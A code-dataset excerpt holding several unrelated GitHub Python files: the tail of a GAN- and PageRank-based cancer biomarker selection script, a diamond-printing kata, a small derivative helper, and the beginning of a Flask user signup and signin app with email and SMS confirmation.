validation).\n\t\t\tgene_in_reconstructed_network=set()\n\t\t\n\t\t\t#sort genes by t-statistics.\t\t\t\n\t\t\tmRNA_t_sort=self.mRNA_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\tCNA_t_sort=self.CNA_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\tmet_t_sort=self.met_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\tsnp_t_sort=self.snp_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\t\n\t\t\t#selected_by_ttest is a set of the top N genes which have high absolute values of t-statistics in mRNA, CNA, methylation, or SNP data.\n\t\t\tselected_by_ttest=set()\n\t\t\tselected_by_ttest.update(mRNA_t_sort.index[:self.n_gene_in_ttest])\n\t\t\tselected_by_ttest.update(CNA_t_sort.index[:self.n_gene_in_ttest])\n\t\t\tselected_by_ttest.update(met_t_sort.index[:self.n_gene_in_ttest])\n\t\t\tselected_by_ttest.update(snp_t_sort.index[:self.n_gene_in_ttest])\n\t\t\t\n\t\t\t#construct a network. include all edges involving at least one of the genes belonging to selected_by_ttest.\n\t\t\tfor edge in self.edge_list:\n\t\t\t\tif edge[0] in selected_by_ttest or edge[1] in selected_by_ttest:\n\t\t\t\t\treconstructed_network.append(edge)\n\t\t\t\t\tgene_in_reconstructed_network.update(edge)\n\t\t\treconstructed_network_10fold.append(reconstructed_network)\n\t\t\tgene_in_reconstructed_network_10fold.append(gene_in_reconstructed_network)\n\t\treturn reconstructed_network_10fold,gene_in_reconstructed_network_10fold\n\t\t\n\t#step 2-1. make data for GANs. \n\t#foldnum is fold number.\n\t#network is the gene in reconstructed network in the fold.\n\tdef mk_data_for_GANs(self,networkgene,foldnum):\n\t\t\n\t\t#merge traing samples. \n\t\ttrainsample=np.hstack((self.good_train_samples[foldnum],self.bad_train_samples[foldnum]))\n\t\trandom.seed(0) \n\t\t\n\t\t#to suffle between train samples have good prognosis and train sample have bad prognosis.\n\t\trandom.shuffle(trainsample)\n\t\t\n\t\t#result_tmp is list containing the data for GANs.\n\t\tresult_tmp=[]\n\t\t\n\t\t#for each gene in reconstructed network, select the dataset with the largest absolute value of t-test statistic.\n\t\tfor j in networkgene:\n\t\t\tgenevec=[self.mRNA_ttest[foldnum].loc[j,0],self.CNA_ttest[foldnum].loc[j,0],self.met_ttest[foldnum].loc[j,0],self.snp_ttest[foldnum].loc[j,0]]\n\t\t\tnum=np.argmax(genevec)\n\t\t\tif num==0:\n\t\t\t\tresult_tmp.append(self.mRNA.loc[j,trainsample].values.astype('float64'))\n\t\t\telif num==1:\n\t\t\t\tresult_tmp.append(self.CNA.loc[j,trainsample].values.astype('float64'))\n\t\t\telif num==2:\n\t\t\t\tresult_tmp.append(self.met.loc[j,trainsample].values.astype('float64'))\n\t\t\telif num==3:\n\t\t\t\tresult_tmp.append(self.snp.loc[j,trainsample].values.astype('float64'))\n\t\treturn result_tmp\n\t\n\t#step 2-2. learn reconstructed FIs network using GANs.\n\t#process_number is process number in multiprocessing. \n\t#edge_list is the edges of FIs network in the fold.\n\t#data_for_GANs is the data we made in step 2-1.\n\t#foldnum is the fold number.\n\tdef Learning_FIsnetwork_GANs(self,process_number,edge_list,data_for_GANs,foldnum,output):\n\t\t\n\t\t#creat an adjacency matrix from the reconstructed FIs network.\n\t\tdef make_adjacencyMatrix_for_GANs(n_genes,edge_list):\n\t\t\tmatrix = np.zeros([n_genes,n_genes], dtype=np.float32)\n\t\t\tfor edge in edge_list:\n\t\t\t\tx = gene2num_forGANs[edge[0]]\n\t\t\t\ty = gene2num_forGANs[edge[1]]\n\t\t\t\tmatrix[x][y] = matrix[y][x] = 1.\n\t\t\treturn matrix\n\t\t\n\t\t#prepare for GANs.\n\t\tdef prepare(adjacency_matrix,n_input,n_hidden,n_noise,stddev):\n\t\t\treconstucted_network_adjacency_matrix = tf.constant(adjacency_matrix)\n\t\t\t\n\t\t\t#input.\n\t\t\tX = tf.placeholder(tf.float32, [None, n_input])\n\t\t\t\n\t\t\t#noise for generator.\n\t\t\tZ = tf.placeholder(tf.float32, [None, n_noise])\n\t\t\t#G_W is for generator.\n\t\t\tG_W = tf.Variable(tf.random_normal([n_noise, n_genes], stddev=0.01))\n\t\t\t\n\t\t\t#D_W1 is for discriminator.\n\t\t\tD_W1 = tf.Variable(tf.random_normal([n_input, n_hidden], stddev=0.01))\n\t\t\t\n\t\t\t#D_W2 is for discriminator.\n\t\t\tD_W2 = tf.Variable(tf.random_normal([n_hidden, 1], stddev=0.01))\n\t\t\t\n\t\t\treturn reconstucted_network_adjacency_matrix,X,Z,G_W,D_W1,D_W2\n\t\t\n\t\t#generator of GANs.\n\t\tdef generator(G_W,reconstucted_network_adjacency_matrix,noise_z):\n\t\t\toutput = tf.nn.relu(tf.matmul(noise_z, reconstucted_network_adjacency_matrix*(G_W*tf.transpose(G_W))))\t \n\t\t\treturn output\n\t\t\t\n\t\t#discriminator of GANs.\n\t\tdef discriminator(inputs,D_W1,D_W2):\n\t\t\thidden = tf.nn.relu(tf.matmul(inputs, D_W1))\n\t\t\toutput = tf.nn.sigmoid(tf.matmul(hidden, D_W2))\n\t\t\treturn output\n\t\t\t\n\t\t#make random variables for generator.\n\t\tdef get_noise(batch_size, n_noise):\n\t\t\treturn np.random.normal(size=(batch_size, n_noise))\n\t\t\t\n\t\tprint(' start process\tprocess number : ',process_number,'\tfold number :',foldnum)\n\t\t\n\t\t#get a set of genes from reconstructed FIs network.\n\t\ttotal_gene=[]\n\t\tfor i in edge_list:\n\t\t\ttotal_gene.append(i[0])\n\t\t\ttotal_gene.append(i[1])\n\t\ttotal_gene=set(total_gene)\n\t\t\n\t\t#make series to map between genes and genes number only for GANs.\n\t\tgene2num_forGANs = {}\n\t\tnum2gene_forGANs = {}\n\t\tfor i, gene in enumerate(total_gene):\n\t\t\tgene2num_forGANs[gene] = i\n\t\t\tnum2gene_forGANs[i] = gene\t\n\t\t\n\t\t#n_genes is the length of genes from the reconstructed FIs network.\n\t\tn_genes = len(total_gene)\n\t\t\n\t\tdata_for_GANs=np.array(data_for_GANs)\n\t\tdata_for_GANs = data_for_GANs.T\n\t\t\n\t\t#creat an adjacency matrix from the reconstructed FIs network.\n\t\tadjacency_matrix = make_adjacencyMatrix_for_GANs(n_genes,edge_list)\n\t\t\n\t\t#set the parameters.\t\t\n\t\ttf.set_random_seed(process_number)\n\t\tbatch_size = 1\n\t\tlearning_rate = 0.0002\n\n\t\t\n\t\t#reconstucted_network_adjacency_matrix is an adjacency matrix of the reconstructed FIs network.\n\t\treconstucted_network_adjacency_matrix,X,Z,G_W,D_W1,D_W2=prepare(adjacency_matrix,n_genes,256,n_genes,0.01)\n\n\t\tG = generator(G_W,reconstucted_network_adjacency_matrix,Z)\n\n\t\tD_gene = discriminator(G,D_W1,D_W2)\n\n\t\tD_real = discriminator(X,D_W1,D_W2)\n\t\t\n\t\t#loss function.\n\t\tloss_D = tf.reduce_mean(tf.log(D_real) + tf.log(1 - D_gene))\n\n\t\tloss_G = tf.reduce_mean(tf.log(D_gene))\n\n\t\tD_var_list = [D_W1, D_W2]\n\t\tG_var_list = [G_W]\n\n\t\t#define optimizer.\n\t\ttrain_D = tf.train.AdamOptimizer(learning_rate).minimize(-loss_D, var_list=D_var_list)\n\t\ttrain_G = tf.train.AdamOptimizer(learning_rate).minimize(-loss_G, var_list=G_var_list)\n\t\t\n\n\t\tn_iter = data_for_GANs.shape[0]\n\t\tsess = tf.Session()\n\t\tsess.run(tf.global_variables_initializer())\n\t\tloss_val_D, loss_val_G = 0, 0\n\n\t\t\n\t\t#perform GANs.\n\t\tfor epoch in range(2):\n\t\t\tloss_val_D_list = []\n\t\t\tloss_val_G_list = []\n\t\t\tfor i in range(n_iter):\n\t\t\t\tbatch_xs = data_for_GANs[i].reshape(1,-1)\n\t\t\t\tnoise = get_noise(1, n_genes)\n\t \n\t\t\t\t_, loss_val_D = sess.run([train_D, loss_D], feed_dict={X: batch_xs, Z: noise})\n\t\t\t\t_, loss_val_G = sess.run([train_G, loss_G], feed_dict={Z: noise})\n\t\t\t\tloss_val_D_list.append(loss_val_D)\n\t\t\t\tloss_val_G_list.append(loss_val_G)\t\n\t\t\t\n\t\t\t\t\t\n\t\tprint(' process '+str(process_number)+' converge ','Epoch:', '%04d' % (epoch+1),'n_iter :', '%04d' % n_iter,'D_loss : {:.4}'.format(np.mean(loss_val_D_list)),'G_loss : {:.4}'.format(np.mean(loss_val_G_list)))\n\t\t\t\t\n\t\t\n\t\tnetwork = sess.run(reconstucted_network_adjacency_matrix*(G_W*tf.transpose(G_W)))\n\t\t\n\t\t#rearrange the result of GANs.\n\t\tresult = []\n\t\tfor n in range(0, len(network)):\n\t\t\tfor m in range(n+1, len(network[n])):\n\t\t\t\tval = network[n][m]\n\t\t\t\tif val != 0 :\n\t\t\t\t\tresult.append([num2gene_forGANs[n], num2gene_forGANs[m], val])\n\t \n\t\toutput.put(result)\n\t\n\t#function for pagerank.\n\t#weight is obtained from GANs.\n\tdef pagerank(self,weight):\n\t\n\t\t\n\n\t\tdamping_factor=self.damping_factor\n\t\tthreshold=0.005\n\t\t\n\t\t#make weighted graph with GANs weight.\n\t\tdef mk_graph_with_weight(n_genes,weight):\n\t\t\tmatrix = np.zeros([n_genes,n_genes], dtype=np.float32)\n\t\t\tcount=0\n\t\t\tfor edge in weight:\n\t\t\t\tx = self.gene2num[edge[0]]\n\t\t\t\ty = self.gene2num[edge[1]]\n\t\t\t\tmatrix[x][y] =abs(float(edge[2]))\n\t\t\t\tmatrix[y][x] =abs(float(edge[2]))\n\t\t\tresult = np.zeros(matrix.shape, dtype=np.float32)\n\t\t\tn_genes = matrix.shape[0]\n\t\t\tfor i in range(n_genes):\n\t\t\t\tz =matrix[:,i].sum()\n\t\t\t\tif z > 0.:\n\t\t\t\t\tresult[:,i] = matrix[:,i] / z\n\t\t\treturn result\n\n\n\t\tn_genes=len(self.mRNA.index)\n\t\tresult_mat = mk_graph_with_weight(n_genes,weight)\n\n\t\t#step 2. pageRank.\n\t\tdef perform_pagerank(matrix, d, threshold):\n\t\t\tn_genes = matrix.shape[0]\n\t\t\tscore = np.ones(n_genes) / n_genes\n\t\t\ttmp = np.ones(n_genes) / n_genes\n\n\t\t\tfor i in range(100):\n\t\t\t\tscore = (1.-d)*(np.ones(n_genes) / n_genes) + d*(matrix.dot(score))\n\t\t\t\tdeviation = np.abs(score-tmp).max()\n\t\t\t\tif deviation < threshold:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\ttmp = deepcopy(score)\n\t\t\treturn score\n\t\t#perform pagerank.\n\t\tscore = perform_pagerank(result_mat, damping_factor, threshold)\n\t\t\n\t\t#sort gene by pagerank score.\n\t\tresult=DataFrame(score)\n\t\tresult_gene=result.sort_values(by=0,ascending=False).index\n\t\t\n\t\t#select biomarkers using pagerank score.\n\t\treal_result=[]\n\t\tfor x in result_gene: \n\t\t\treal_result.append(self.num2gene[x])\n\t\t\tif len(real_result)==self.n_biomarker:\n\t\t\t\tbreak\n\t\treturn real_result\n\t\n\t\n\t\n\t#create an adjacency matrix form edge_list.\n\tdef make_adjacencyMatrix(self,edge_list):\n\t\tn_genes=len(self.mRNA.index)\n\t\tmatrix = np.zeros([n_genes,n_genes], dtype=np.float32)\n\t\tcount=0\n\t\tfor edge in edge_list:\n\t\t\tx = self.gene2num[edge[0]]\n\t\t\ty = self.gene2num[edge[1]]\n\t\t\tmatrix[x][y] =1\n\t\t\tmatrix[y][x] =1\n\t\treturn matrix\n\t\n\t#measure the area under the curve(AUC).\n\tdef auc(self,reconstructed_FIs,biomarkerperfold) :\n\t\t\n\t\t#names is the list containing the classifiers names.\n\t\tnames = [n for n in range(6)]\n\t\t\n\t\t#classi is the series in which data are lists containing the AUCs for each fold in each classifier and indexs are the names of the classifiers.\n\t\tclassi={}\n\t\tfor i in names:\n\t\t\tclassi[i]=list()\n\t\t\n\t\tfor foldnum in range(10):\n\t\t\t#sample is a numpy array of the training samples in the fold (foldnum is fold number for 10 fold validation).\n\t\t\tsample=np.hstack((self.good_train_samples[foldnum],self.bad_train_samples[foldnum]))\n\t\t\t\n\t\t\t#test_sample is a list of test samples in the fold (foldnum is fold number for 10 fold validation).\n\t\t\ttest_sample=self.test_samples[foldnum]\n\t\t\trandom.shuffle(sample)\n\t\t\t\n\t\t\t\t\t\t\n\t\t\t#edge_list is the list of the edges in reconstructed FIs network of the fold (foldnum is fold number for 10 fold validation).\n\t\t\tedge_list=reconstructed_FIs[foldnum]\n\t\t\tedge_list=np.array(edge_list)\n\n\n\n\t\t\t#from here, make data for AUC.\n\t\t\t\n\t\t\t\n\t\t\tselected_by_ttest=set()\n\n\t\t\t#sort genes by t-statistics\n\t\t\tmRNA_ttest=self.mRNA_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\tCNA_ttest=self.CNA_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\tmet_ttest=self.met_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\tsnp_ttest=self.snp_ttest[foldnum].sort_values(by=0,ascending=False)\n\t\t\t\n\t\t\t#mRNA_t is the list of genes which have high absolute values of t-statistics in mRNA data and were used to reconstruct FIs network in step 1.\n\t\t\tmRNA_t=mRNA_ttest.index[:self.n_gene_in_ttest]\n\t\t\t#CNA_t is the list of genes which have high absolute values of t-statistics in CNA data and were used to reconstruct FIs network in step 1.\n\t\t\tCNA_t=CNA_ttest.index[:self.n_gene_in_ttest]\n\t\t\t#met_t is the list of genes which have high absolute values of t-statistics in methylation data and were used to reconstruct FIs network in step 1.\n\t\t\tmet_t=met_ttest.index[:self.n_gene_in_ttest]\n\t\t\t#snp_t is the list of genes which have high absolute values of t-statistics in SNP data and were used to reconstruct FIs network in step 1.\n\t\t\tsnp_t=snp_ttest.index[:self.n_gene_in_ttest]\n\t\t\t\n\t\t\t#make union of mRNA_t,CNA_t,met_t and snp_t.\n\t\t\tselected_by_ttest.update(mRNA_t)\n\t\t\tselected_by_ttest.update(CNA_t)\n\t\t\tselected_by_ttest.update(met_t)\n\t\t\tselected_by_ttest.update(snp_t)\n\t\t\t\n\t\t\t\n\t\t\t#data_tmp is a list containing a data for training.\n\t\t\tdata_tmp=[]\n\t\t\t#test_tmp is a list containg a data for test.\n\t\t\ttest_tmp=[]\n\t\t\t\n\t\t\t#create adjacency_matrix from reconstructed FIs network in the fold.\n\t\t\tflag=self.make_adjacencyMatrix(edge_list)\n\t\t\t\n\t\t\t#biomarker is the list of genes which were selected in step 2 and 3 for the fold (foldnum is fold number).\n\t\t\tbiomarker=biomarkerperfold[foldnum]\n\n\t\t\t#decide the dataset per gene.\n\t\t\tfor bi in biomarker:\n\t\t\t\t#if the gene belongs to mRNA_t,CNA_t,met_t or snp_t, select the dataset of mRNA, CNA, methylation or SNP respectly for the gene.\n\t\t\t\tif bi in selected_by_ttest:\n\t\t\t\t\tif bi in mRNA_t:\n\t\t\t\t\t\tdata_tmp.append(self.mRNA.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.mRNA.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\t\tif bi in CNA_t:\n\t\t\t\t\t\tdata_tmp.append(self.CNA.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.CNA.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\t\tif bi in met_t:\n\t\t\t\t\t\tdata_tmp.append(self.met.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.met.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\t\tif bi in snp_t:\n\t\t\t\t\t\tdata_tmp.append(self.snp.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.snp.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\telse:\n\t\t\t\t\t#if the gene doesn't belong to mRNA_t,CNA_t,met_t and snp_t, select the dataset that neighboring genes belong to the most.\n\t\t\t\t\t\n\t\t\t\t\t#m_score,c_score,t_score and s_score are scores that count how many neighboring genes belong to mRNA_t, CNA_t, met_t and snp_t respectly.\n\t\t\t\t\tm_score=0\n\t\t\t\t\tc_score=0\n\t\t\t\t\tt_score=0\n\t\t\t\t\ts_score=0\n\t\t\t\t\tm=self.gene2num[bi]\n\t\t\t\t\tfor num,s in enumerate(flag[m]):\n\t\t\t\t\t\tif s!=0:\n\t\t\t\t\t\t\tadj_gene=self.num2gene[num]\n\t\t\t\t\t\t\tif adj_gene in mRNA_t:\n\t\t\t\t\t\t\t\tm_score+=1\n\t\t\t\t\t\t\tif adj_gene in CNA_t:\n\t\t\t\t\t\t\t\tc_score+=1\n\t\t\t\t\t\t\tif adj_gene in met_t:\n\t\t\t\t\t\t\t\tt_score+=1 \n\t\t\t\t\t\t\tif adj_gene in snp_t:\n\t\t\t\t\t\t\t\ts_score+=1 \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t#select the dataset that neighboring genes belong to the most.\n\t\t\t\t\ttotal=[m_score,c_score,t_score,s_score]\n\t\t\t\t\ttmp=[i for i, j in enumerate(total) if j == max(total)]\n\t\t\t\t\tif 0 in tmp:\n\t\t\t\t\t\tdata_tmp.append(self.mRNA.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.mRNA.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\t\tif 1 in tmp:\n\t\t\t\t\t\tdata_tmp.append(self.CNA.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.CNA.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\t\tif 2 in tmp:\n\t\t\t\t\t\tdata_tmp.append(self.met.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.met.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\t\tif 3 in tmp:\n\t\t\t\t\t\tdata_tmp.append(self.snp.ix[bi,sample].values.astype('float64'))\n\t\t\t\t\t\ttest_tmp.append(self.snp.ix[bi,test_sample].values.astype('float64'))\n\t\t\t\n\t\t\ttraindata= np.array(data_tmp).T\n\t\t\ttestdata = np.array(test_tmp).T\n\t\t\ttestlable = self.lable[test_sample].values.astype(np.int)\n\t\t\ttrainlable = self.lable[sample].values.astype(np.int)\n\t\t\t\n\t\t\trand=0\n\t\t\t#classifiers is the list of classifiers.\n\t\t\tclassifiers = [\n\t\t\t\tMLPClassifier(hidden_layer_sizes=([5]), alpha = 100,max_iter=3000, random_state=rand),\n\t\t\t\tMLPClassifier(hidden_layer_sizes=([5]), alpha = 150,max_iter=3000, random_state=rand),\n\t\t\t\tMLPClassifier(hidden_layer_sizes=([5]), alpha = 200, max_iter=3000, random_state=rand),\n\t\t\t\tMLPClassifier(hidden_layer_sizes=([10]), alpha = 100, max_iter=3000, random_state=rand),\t\t \n\t\t\t\tMLPClassifier(hidden_layer_sizes=([10]), alpha = 150, max_iter=3000, random_state=rand),\n\t\t\t\tMLPClassifier(hidden_layer_sizes=([10]), alpha = 200, max_iter=3000, random_state=rand)\n\t\t\t]\n\t\t\t#measure area under the curve. \n\t\t\taucs =[]\t\t \n\t\t\tfor name, clf in zip(names, classifiers) :\t \n\t\t\t\tpipe_lr = Pipeline([('clf', clf)])\t\n\t\t\t\tprobas_ = pipe_lr.fit(traindata, trainlable).predict_proba(testdata)\n\t\t\t\tfpr, tpr, thresholds = roc_curve(testlable,probas_[:,1])\n\t\t\t\troc_auc = auc(fpr, tpr)\n\t\t\t\tclassi[name].append(roc_auc)\n\t\t#calculate average of AUCs in 10 fold validation.\n\t\ttotal=[]\n\t\tfor i in names:\n\t\t\ttotal.append(classi[i])\n\t\ttotal=np.array(total)\n\t\tmean=total.mean(axis=1)\n\t\t\n\t\tprint(' layer=\\t[5]\\talpha=\\t100\\t10fold AUC=\\t',mean[0])\n\t\tprint(' layer=\\t[5]\\talpha=\\t150\\t10fold AUC=\\t',mean[1])\n\t\tprint(' layer=\\t[5]\\talpha=\\t200\\t10fold AUC=\\t',mean[2])\n\t\tprint(' layer=\\t[10]\\talpha=\\t100\\t10fold AUC=\\t',mean[3])\n\t\tprint(' layer=\\t[10]\\talpha=\\t150\\t10fold AUC=\\t',mean[4])\n\t\tprint(' layer=\\t[10]\\talpha=\\t200\\t10fold AUC=\\t',mean[5])\n\t\t\n \n\t\t\n\n\n\n\nif __name__==\"__main__\":\n\tmain()\n","repo_name":"as1067/GAN_FIN","sub_path":"ProposedMethod.py","file_name":"ProposedMethod.py","file_ext":"py","file_size_in_byte":36314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19145297675","text":"\"\"\"\r\nDado uma letra ('A' a 'Z'), exiba um diamante iniciando em 'A' e tendo a letra fornecida com o ponto mais distante.\r\nPor exemplo, dado a letra 'E' temos:\r\n A\r\n B B\r\n C C\r\n D D\r\nE E\r\n D D\r\n C C\r\n B B\r\n A\r\n *\r\nDado a letra 'C' temos:\r\n A\r\n B B\r\nC C\r\n B B\r\n A\r\n\"\"\"\r\nfrom pip._vendor.requests.packages.urllib3.connectionpool import xrange\r\n\r\n\r\nclass Diamond:\r\n\r\n left_space = 0\r\n space_between_letters = 0\r\n first_letter = True\r\n\r\n def diamond_generator(self, letter):\r\n letters = xrange(ord('A'), ord(letter)+1)\r\n lines = [\"\" for _ in range(len(letters) * 2 - 1)]\r\n first_position = 0\r\n last_position = len(lines) - 1\r\n\r\n self.left_space = len(letters)\r\n self.space_between_letters = 1\r\n\r\n for letter in letters:\r\n line = self.generate_line(letter)\r\n lines[first_position] = line\r\n lines[last_position] = line\r\n first_position += 1\r\n last_position -= 1\r\n\r\n return lines\r\n\r\n def generate_line(self, letter):\r\n line = self.repeat_space(self.left_space) + chr(letter)\r\n\r\n if self.first_letter:\r\n self.first_letter = False\r\n else:\r\n line += self.repeat_space(self.space_between_letters) + chr(letter)\r\n self.space_between_letters += 2\r\n\r\n self.left_space -= 1\r\n\r\n return line\r\n\r\n @staticmethod\r\n def repeat_space(t):\r\n spaces = \"\"\r\n for i in range(t):\r\n spaces += \" \"\r\n return spaces\r\n","repo_name":"rinama07/DojoAgePython","sub_path":"src/Diamond.py","file_name":"Diamond.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"3751404321","text":"def df(x):\r\n try:\r\n #value = math.log(3)* (3**x)\r\n #value = -1 / (x**2)\r\n #value = math.cos(math.degrees(x))\r\n value = -2*x\r\n\r\n except:\r\n print(\"df funciton is not defined properly. Please enter a correct function.\")\r\n raise\r\n\r\n return value\r\n\r\n","repo_name":"YusufOnatYilmaz/ME-310-Projects-2021","sub_path":"df.py","file_name":"df.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"12997200459","text":"import os, json, hashlib, re, random, GeoIP\nfrom flask import Flask, request, abort, url_for, session, redirect, render_template\nfrom database import database\nfrom mail import mail\nfrom sms import sms\nfrom inspect import getfullargspec\nfrom functools import wraps\nfrom nocache import nocache\n\napp = Flask(__name__)\n\nrelpath = lambda path: os.path.join(os.path.dirname(os.path.realpath(__file__)), path)\n\nwith open(relpath(\"credentials/flask_secret_key\")) as f:\n\tapp.secret_key = f.read().strip()\n\ndb = database(app, relpath(\"database.db\"), relpath(\"schema.sql\"), [\"PRAGMA foreign_keys = ON\"])\ngi = GeoIP.open('/usr/share/GeoIP/GeoIP.dat', GeoIP.GEOIP_STANDARD)\n\n@app.teardown_appcontext\ndef close_connection(exception):\n\tdb.close()\n\ndef parameterize(function):\n\tif __name__==\"__main__\":\n\t\tspec=getfullargspec(function)\n\t\tpivot=len(spec.args)-(len(spec.defaults) if spec.defaults else 0)\n\t\toptional, extras=set(spec.args[pivot:]), bool(spec.varkw)\n\t\t@wraps(function)\n\t\tdef wrapper(*args, **kwargs):\n\t\t\trequired=set(spec.args[len(args):pivot])\n\t\t\tif required-set(kwargs)-set(request.values):\n\t\t\t\tabort(400)\n\t\t\tfor i in request.values:\n\t\t\t\tif i not in kwargs and (i not in spec.args or spec.args.index(i)>=len(args)) and \\\n\t\t\t\t\t(i in required or i in optional or extras):\n\t\t\t\t\tkwargs[i]=request.values[i]\n\t\t\treturn function(*args, **kwargs)\n\t\treturn wrapper\n\telse:\n\t\treturn function\n\ndef username_taken(username):\n\treturn not re.match(\"^[a-zA-Z0-9_\\-.]+$\", username) or bool(db.query(\"SELECT id FROM auth WHERE username=?\", (username,), True))\n\ndef confirmation_code(length):\n\tcode=\"\"\n\twhile not code or db.query(\"SELECT rowid FROM confirmation_codes WHERE code=?\", (code,), True):\n\t\tcode=\"\".join(random.choice(\"abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789\") for i in range(length))\n\tdb.execute(\"INSERT INTO confirmation_codes (code) VALUES (?)\", (code,))\n\treturn code\n\ndef confirmed_code(code):\n\tif db.query(\"SELECT rowid FROM confirmation_codes WHERE code=?\", (code,), True):\n\t\tdb.execute(\"DELETE FROM confirmation_codes WHERE code=?\", (code,), True)\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef hashed(salt, password):\n\treturn hashlib.pbkdf2_hmac('sha512', password.encode(), salt, 100000)\n\n@app.route(\"/signup/custom/available\", methods=[\"POST\"])\n@parameterize\ndef check_username(username):\n\treturn json.dumps(not username_taken(username))\n\n@app.route(\"/signup/custom\", methods=[\"GET\", \"POST\"])\n@parameterize\ndef signup(username, password, name=None, email=None, phone=None):\n\tif phone and not re.match(\"^[0-9]{6,}$\", phone) or email and not re.match(\"^\\S+@\\S+\\.\\S+$\", email) or username_taken(username) or len(password)<8:\n\t\tabort(400)\n\tuserid=db.execute(\"INSERT INTO users (name) VALUES (?)\", (name,))\n\tsalt=os.urandom(32)\n\tauthid=db.execute(\"INSERT INTO auth (username, salt, hash, user) VALUES (?, ?, ?, ?)\", (username, salt, hashed(salt, password), userid))\n\tdb.execute(\"UPDATE users SET auth=? WHERE id=?\", (authid, userid))\n\tif email:\n\t\tcode=confirmation_code(24)\n\t\turl=url_for(\"confirm_email\", code=code, _external=True)\n\t\tmail(email, \"Semaphore Email Confirmation\", \"Welcome to Semaphore! If your username is \"+username+\n\t\t\t\", click here to confirm your email address. Please note that this will disassociate your account from all other accounts\",\n\t\t\t\"Welcome to Semaphore! If your username is \"+username+\n\t\t\t\", paste this address into your browser to confirm your email address:\\n\\n\"+url+\n\t\t\t\"\\n\\nPlease note that this will disassociate your account from all other accounts\")\n\t\tdb.execute(\"INSERT INTO email_confirmation (email, user, code) VALUES (?, ?, ?)\", (email, userid, code))\n\tsignin(username, password)\n\tif phone:\n\t\tcode=confirmation_code(8)\n\t\tsms(phone, \"Your confirmation code for Semaphore is \"+code)\n\t\tdb.execute(\"INSERT INTO phone_confirmation (phone, user, code) VALUES (?, ?, ?)\", (phone, userid, code))\n\t\treturn json.dumps(True)\n\telse:\n\t\treturn json.dumps(False)\n\n@app.route(\"/signup/confirm/email\")\n@parameterize\ndef confirm_email(code):\n\tif confirmed_code(code):\n\t\temail, user=db.query(\"SELECT email, user FROM email_confirmation WHERE code=?\", (code,), True)\n\t\tdb.execute(\"DELETE FROM email_confirmation WHERE code=?\", (code,))\n\t\tdb.execute(\"DELETE FROM emails WHERE email=?\", (email,))\n\t\tdb.execute(\"INSERT INTO emails (email, user) VALUES (?, ?)\", (email, user))\n\t\treturn \"Your email address has been confirmed, you can now close this tab\" # TODO\n\telse:\n\t\treturn \"An error has occured, please try resending the confirmation code\" # TODO\n\n@app.route(\"/signup/confirm/phone\", methods=[\"GET\", \"POST\"])\n@parameterize\ndef confirm_phone(code = None):\n\tif request.method==\"POST\":\n\t\tif not code:\n\t\t\tabort(400)\n\t\telif confirmed_code(code):\n\t\t\tphone, user=db.query(\"SELECT phone, user FROM phone_confirmation WHERE code=?\", (code,), True)\n\t\t\tdb.execute(\"DELETE FROM phone_confirmation WHERE code=?\", (code,))\n\t\t\tdb.execute(\"DELETE FROM phones WHERE phone=?\", (phone,))\n\t\t\tdb.execute(\"INSERT INTO phones (phone, user) VALUES (?, ?)\", (phone, user))\n\t\t\treturn json.dumps(True)\n\t\telse:\n\t\t\treturn json.dumps(False)\n\telse:\n\t\treturn app.send_static_file(\"confirm_phone.html\")\n\n@app.route(\"/signin/custom\", methods=[\"POST\"])\n@parameterize\ndef signin(username, password):\n\tauthid, salt, check, userid=db.query(\"SELECT id, salt, hash, user FROM auth WHERE username=?\", (username,), True) or [None, None, None, None]\n\tif salt and hashed(salt, password)==check:\n\t\tsession[\"user\"]=userid\n\t\tcode=os.urandom(64)\n\t\tsession[\"code\"]=code\n\t\tname, address=db.query(\"SELECT name, address FROM users WHERE id=?\", (userid,), True)\n\t\tsession[\"userinfo\"]={\n\t\t\t\"id\": userid,\n\t\t\t\"username\": username,\n\t\t\t\"name\": name,\n\t\t\t\"address\": address\n\t\t}\n\t\tloginid=db.execute(\"INSERT INTO logins (code, ip, auth) VALUES (?, ?, ?)\", (code, request.environ['REMOTE_ADDR'], authid))\n\t\tdb.execute(\"INSERT INTO login_codes (code, user, login) VALUES (?, ?, ?)\", (code, userid, loginid))\n\t\treturn json.dumps(True)\n\telse:\n\t\treturn json.dumps(False)\n\ndef valid_session():\n\tif \"user\" in session and \"code\" in session:\n\t\treturn (db.query(\"SELECT login FROM login_codes WHERE user=? AND code=?\", (session[\"user\"], session[\"code\"]), True) or [False])[0]\n\telse:\n\t\treturn None\n\ndef require_login(param):\n\tdef decorator(function):\n\t\t@wraps(function)\n\t\tdef wrapper(*args, 